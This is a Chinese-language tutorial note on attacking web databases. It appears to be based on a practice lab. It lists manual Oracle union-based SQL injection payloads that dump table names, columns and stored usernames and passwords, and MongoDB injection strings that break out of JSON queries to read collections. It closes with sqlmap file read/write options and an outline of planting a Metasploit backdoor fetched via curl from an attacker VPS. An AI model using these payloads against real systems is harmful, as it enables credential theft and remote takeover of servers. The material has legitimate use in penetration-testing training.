概述
Oracle、Mongodb的手工注入和sqlmap简单使用
关于数据库的搭配
Oracle数据库通常与Java EE和Oracle Fusion Middleware结合使用,这种是在在大型企业和金融行业中,也有使用php的和appach tomcat的;
---------------
MySQL数据库一般搭配Linux操作系统、PHP语言和Apache Web服务器使用,这种组合被称为LAMP架构
---------------
MSSQL数据库一般搭配的中间件和语言有IIS、Apache、Nginx等,搭配的语言有ASP.NET、PHP、Java等
--------------------
MongoDB数据库一般搭配的中间件有mgm、mongos等,搭配的语言有Golang、JavaScript、Python、C#等
----------------
总的来说:
数据库:Oracle 大型数据库、Access、SQL Server(ms SQL)、MySQL 中小型数据库
中间件:IIS、Apache、Nginx、Tomcat
脚本:PHP、ASP、ASPX(ASP.NET)、JSP----------------------------------
脚本和数据库的搭配:
PHP + MySQL
ASP + Access 、ASP + SQL Server(ms SQL)
ASPX(ASP.NET)+ SQL Server(ms SQL)
JSP + MySQL 、JSP + Oracle--------------------------------
综合搭配:
Linux + Apache + PHP + MySQL
Linux + Nginx + PHP + MySQL
Windows + IIS + ASPX(ASP.NET)+ SQL Server(ms SQL)
Linux + Tomcatt + JSP + MySQL
Linux + Tomcat + JSP + Oracle
Oracle手工注入
测列数
order by 3
测回显位
and 1=2 union select '1','2' from dual
爆库
and 1=2 union select '1',(select table_name from user_tables where rownum=1) from dual
使用排除的方式再去查询第二个库,语句的意思是排除查询表中除 LOGMNR_SESSION_evolve$之外的;and 1=2 union select '1',(select table_name from user_tables where rownum=1 and column_name not in ('LOGMNR_SESSION_evolve$')) from dual
使用模糊查询的方式去查找更为便捷, 语句含义为查询包含user的表,也可以将user替换成admin等等
and 1=2 union select '1',(select table_name from user_tables where rownum=1 and table_name like '%user%') from dual
查列名and 1=2 union select '1',(select column_name from all_tab_columns where rownum=1 and table_name='sns_users') from dual
and 1=2 union select '1',(select column_name from all_tab_columns where rownum=1 and table_name='sns_users' and column_name not in ('USER_NAME')) from dual
查数据and 1=2 union select user_name,user_pwd from "sns_users"
and 1=2 union select user_name,user_pwd from "sns_users" where USER_NAME<>'hu'
and 1=2 union select user_name,user_pwd from "sns_users" where USER_NAME<>'hu' and user_name<>'mozhe'
使用到的命令测回显:and 1=2 union select '1','2' from dual 爆库:and 1=2 union select '1',(select table_name from user_tables where rownum=1) from dual 模糊爆库:and 1=2 union select '1',(select table_name from user_tables where rownum=1 and table_name like '%user%') from dual 爆列名:and 1=2 union select '1',(select column_name from all_tab_columns where rownum=1 and table_name='sns_users') from dual 爆其他列名:and 1=2 union select '1',(select column_name from all_tab_columns where rownum=1 and table_name='sns_users' and column_name not in ('USER_NAME')) from dual 爆数据:and 1=2 union select user_name,user_pwd from "sns_users" 爆其他数据:and 1=2 union select user_name,user_pwd from "sns_users" where USER_NAME<>'hu'
MongoDB
因为MongoDB的数据是以json的形式传送的,写参数的时候稍有不同,且闭合的时候也需要闭合‘})这种闭合
列数源码可得知有两列,一个title,一个是content
测回显/new_list.php?id=1'}); return ({title:1,content:'2查库/new_list.php?id=1'}); return ({title:tojson(db),content:'1
查表使用内置的函数/new_list.php?id=1'}); return ({title:tojson(db.getCollectionNames()),content:'1
查字段不断便利数组里面的数据,直到没有返回/new_list.php?id=1'}); return ({title:tojson(db.Authority_confidential.find()[0]),content:'1
/new_list.php?id=1'}); return ({title:tojson(db.Authority_confidential.find()[1]),content:'1
/new_list.php?id=1'}); return ({title:tojson(db.Authority_confidential.find()[2]),content:'1
ps:使用到的内置函数及其解释db.getCollectionNames() 返回的是数组,需要用 tojson 转换为字符串。db.Authority_confidential 是当前用的集合(表), find 函数用于查询, 0 是第一条数据
-------------------------------------------------------------------------------------------------------------------------![]()
sqlmap入门使用
什么是sqlmap:sql注入工具;
它支持那些数据库注入:大部分都支持,nosql不支持,比较冷门,有其相应的注入利用工具;
支持哪些sql注入模式:联合注入,盲注,堆叠,查询,带外(利用其它协议将数据带出去常见的有dnslog );
支持那些其他不一样的功能:添加一些脚本,提供一些参数去绕过waf检测,避免被封禁,枚举用户密码等等
注入流程分析:看库,看权限,读文件写shell,读数据登后台
为什么union注入不能注入出来,不代表没有注入,有可能是查询语句的写法不支持联合注入的情况;
--purge或者--fulash-session 清除缓存
--file-read "d:/w.txt" 读取d盘的w.txt文件内容,保存到一个文件里 ,没有特殊回显
--file-write "d:/w.txt" --file-dest "d:/ww.txt" 将文件d盘w.txt文件的内容写到d盘1111.txt中去,一般前面一个参数写vps的一个后门
msf上线
使用语句先生成后门
vps监听
注入使用curl下载后门文件sql.exe
执行后门文件
获取到返回
getuid